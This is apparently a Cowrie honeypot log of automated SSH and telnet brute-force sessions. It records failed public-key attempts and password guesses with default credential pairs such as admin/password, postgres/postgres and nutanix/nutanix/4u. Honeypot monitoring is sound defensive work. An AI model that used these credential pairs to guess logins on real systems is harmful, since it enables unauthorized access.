{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ce:20:50:e4:fc:b0:e8:3c:b4:52:fd:37:0f:7c:fc:b5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6GV5ltVlE1e9W4kcIEcwUDNaLbDe+paj0ecRtKhenspnPxBJ+pHnUkPaIdveu5PjvGogD0eP/v8pm1CPSVgB3GyNXHqjrYqEQ5tfaxf25zsriiAx6pWS24Tm0tNmtzt5Oj6aKLpKA3DtJmwRT2aLfSH9wlX73OIaVNJV0rNzylg1tJhLiyUJdZZ7MGm5fQ16OOgioJ35nVfoKQEI9qmoxOwAv4eLdDVKaZyJdyHYlZzU5rTHbCxW5aPA5/DYZG2jvvkXSToLj9ALro7N/+UPGUwI8YtWUChpeUn5Jg2LGCUOjhZ2n+UgAuakpdDaq3a35St8yjid487OVEY2g6esh","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ce:20:50:e4:fc:b0:e8:3c:b4:52:fd:37:0f:7c:fc:b5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:25:07.473783Z","src_ip":"74.48.105.66","session":"28e9ec78c30b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ce:20:50:e4:fc:b0:e8:3c:b4:52:fd:37:0f:7c:fc:b5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6GV5ltVlE1e9W4kcIEcwUDNaLbDe+paj0ecRtKhenspnPxBJ+pHnUkPaIdveu5PjvGogD0eP/v8pm1CPSVgB3GyNXHqjrYqEQ5tfaxf25zsriiAx6pWS24Tm0tNmtzt5Oj6aKLpKA3DtJmwRT2aLfSH9wlX73OIaVNJV0rNzylg1tJhLiyUJdZZ7MGm5fQ16OOgioJ35nVfoKQEI9qmoxOwAv4eLdDVKaZyJdyHYlZzU5rTHbCxW5aPA5/DYZG2jvvkXSToLj9ALro7N/+UPGUwI8YtWUChpeUn5Jg2LGCUOjhZ2n+UgAuakpdDaq3a35St8yjid487OVEY2g6esh","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:25:07.478106Z","src_ip":"74.48.105.66","session":"28e9ec78c30b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bf:d0:1e:da:78:74:09:2c:3e:10:59:c4:7c:45:ee:15","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCjXeZ7+iEqfFZhlmqim3iyeozR0mHc89B9OGGKDny5hknD3zdbwtlkd//VJeVuExCYbETNGW3TfCySX9MEUyPl3hWgjRZRAJIS4Zr74ZOTlfrVm2G/ag6ZZWiXTQlEG8bYKIR2TZoTlAX9MAsiq3X5Nd+wpjfy4pZ+4gSzAAJqVvBwPBrIOgBsvDELEVYDhabzTWNXgm+TuJ/W4NwvD0eyVfRoT26TVNJeVgfIgDMfZlxACV5WJYGqFhpEWX4aQfEtPe4SGTuuqY3VFIHGAMJmgW5BiJxv7nVf9jiG7Vn9eY6nvk7YDqneoI4JP80sFYJb6A0RetU5qPOAfKP4Nra5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bf:d0:1e:da:78:74:09:2c:3e:10:59:c4:7c:45:ee:15","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:25:07.555694Z","src_ip":"74.48.105.66","session":"28e9ec78c30b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bf:d0:1e:da:78:74:09:2c:3e:10:59:c4:7c:45:ee:15","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCjXeZ7+iEqfFZhlmqim3iyeozR0mHc89B9OGGKDny5hknD3zdbwtlkd//VJeVuExCYbETNGW3TfCySX9MEUyPl3hWgjRZRAJIS4Zr74ZOTlfrVm2G/ag6ZZWiXTQlEG8bYKIR2TZoTlAX9MAsiq3X5Nd+wpjfy4pZ+4gSzAAJqVvBwPBrIOgBsvDELEVYDhabzTWNXgm+TuJ/W4NwvD0eyVfRoT26TVNJeVgfIgDMfZlxACV5WJYGqFhpEWX4aQfEtPe4SGTuuqY3VFIHGAMJmgW5BiJxv7nVf9jiG7Vn9eY6nvk7YDqneoI4JP80sFYJb6A0RetU5qPOAfKP4Nra5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:25:07.562291Z","src_ip":"74.48.105.66","session":"28e9ec78c30b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:25:07.638763Z","src_ip":"74.48.105.66","session":"28e9ec78c30b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":43718,"dst_ip":"10.17.0.5","dst_port":22,"session":"2772f7aa5591","protocol":"ssh","message":"New connection: 83.168.110.85:43718 (10.17.0.5:22) [session: 2772f7aa5591]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:25:11.128831Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:25:11.134352Z","src_ip":"83.168.110.85","session":"2772f7aa5591","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:25:11.257303Z","src_ip":"83.168.110.85","session":"2772f7aa5591","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gpadmin","password":"gpadmin","message":"login attempt [gpadmin/gpadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:25:11.624768Z","src_ip":"83.168.110.85","session":"2772f7aa5591","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:25:12.752842Z","src_ip":"83.168.110.85","session":"2772f7aa5591","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.171","src_port":39730,"dst_ip":"159.203.135.109","dst_port":22,"session":"79d40552a301","protocol":"ssh","message":"New connection: 80.94.92.171:39730 (159.203.135.109:22) [session: 79d40552a301]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:25:14.890811Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:25:15.057615Z","src_ip":"80.94.92.171","session":"79d40552a301","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:25:15.061992Z","src_ip":"80.94.92.171","session":"79d40552a301","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1234","message":"login attempt [sol/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:25:16.273411Z","src_ip":"80.94.92.171","session":"79d40552a301","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:25:17.435873Z","src_ip":"80.94.92.171","session":"79d40552a301","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":49008,"dst_ip":"10.17.0.5","dst_port":22,"session":"99fbde8927d6","protocol":"ssh","message":"New connection: 83.168.110.85:49008 (10.17.0.5:22) [session: 99fbde8927d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:25:18.018194Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:25:18.027051Z","src_ip":"83.168.110.85","session":"99fbde8927d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:25:18.153698Z","src_ip":"83.168.110.85","session":"99fbde8927d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nutanix","password":"nutanix/4u","message":"login attempt [nutanix/nutanix/4u] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:25:18.574746Z","src_ip":"83.168.110.85","session":"99fbde8927d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:25:19.699009Z","src_ip":"83.168.110.85","session":"99fbde8927d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":34010,"dst_ip":"10.17.0.5","dst_port":22,"session":"b9ffec95b0a1","protocol":"ssh","message":"New connection: 83.168.110.85:34010 (10.17.0.5:22) [session: b9ffec95b0a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:25:25.060865Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:25:25.065910Z","src_ip":"83.168.110.85","session":"b9ffec95b0a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:25:25.187035Z","src_ip":"83.168.110.85","session":"b9ffec95b0a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"username","password":"username","message":"login attempt [username/username] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:25:25.552539Z","src_ip":"83.168.110.85","session":"b9ffec95b0a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:25:26.843280Z","src_ip":"83.168.110.85","session":"b9ffec95b0a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":97.36097383499146,"message":"Connection lost after 97 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:25:30.772430Z","src_ip":"176.65.139.118","session":"592e0716682f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":51232,"dst_ip":"159.203.135.109","dst_port":23,"session":"59600155ad88","protocol":"telnet","message":"New connection: 176.65.139.118:51232 (159.203.135.109:23) [session: 59600155ad88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:25:30.924817Z"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":34016,"dst_ip":"10.17.0.5","dst_port":22,"session":"b7085cf2995d","protocol":"ssh","message":"New connection: 83.168.110.85:34016 (10.17.0.5:22) [session: b7085cf2995d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:25:32.156886Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:25:32.162655Z","src_ip":"83.168.110.85","session":"b7085cf2995d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:25:32.284611Z","src_ip":"83.168.110.85","session":"b7085cf2995d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"alex","message":"login attempt [alex/alex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:25:32.647343Z","src_ip":"83.168.110.85","session":"b7085cf2995d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":2.384187698364258,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:25:33.308871Z","src_ip":"176.65.139.118","session":"59600155ad88","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":51938,"dst_ip":"159.203.135.109","dst_port":23,"session":"b7a67c6238aa","protocol":"telnet","message":"New connection: 176.65.139.118:51938 (159.203.135.109:23) [session: b7a67c6238aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:25:33.428033Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:25:33.770731Z","src_ip":"83.168.110.85","session":"b7085cf2995d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"password","message":"login attempt [admin/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:25:37.697351Z","src_ip":"176.65.139.118","session":"b7a67c6238aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":35074,"dst_ip":"10.17.0.5","dst_port":22,"session":"2d0cdf596663","protocol":"ssh","message":"New connection: 83.168.110.85:35074 (10.17.0.5:22) [session: 2d0cdf596663]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:25:39.035110Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:25:39.041521Z","src_ip":"83.168.110.85","session":"2d0cdf596663","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:25:39.163558Z","src_ip":"83.168.110.85","session":"2d0cdf596663","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo14","password":"odoo14","message":"login attempt [odoo14/odoo14] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:25:39.943020Z","src_ip":"83.168.110.85","session":"2d0cdf596663","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":7.384995222091675,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:25:40.812908Z","src_ip":"176.65.139.118","session":"b7a67c6238aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":33838,"dst_ip":"159.203.135.109","dst_port":23,"session":"06ea46d1264b","protocol":"telnet","message":"New connection: 176.65.139.118:33838 (159.203.135.109:23) [session: 06ea46d1264b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:25:40.915425Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:25:41.066506Z","src_ip":"83.168.110.85","session":"2d0cdf596663","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres","message":"login attempt [postgres/postgres] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:25:44.762203Z","src_ip":"176.65.139.118","session":"06ea46d1264b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":42808,"dst_ip":"10.17.0.5","dst_port":22,"session":"40cb86641a4a","protocol":"ssh","message":"New connection: 83.168.110.85:42808 (10.17.0.5:22) [session: 40cb86641a4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:25:45.795112Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:25:45.800679Z","src_ip":"83.168.110.85","session":"40cb86641a4a","protocol":"ssh"}
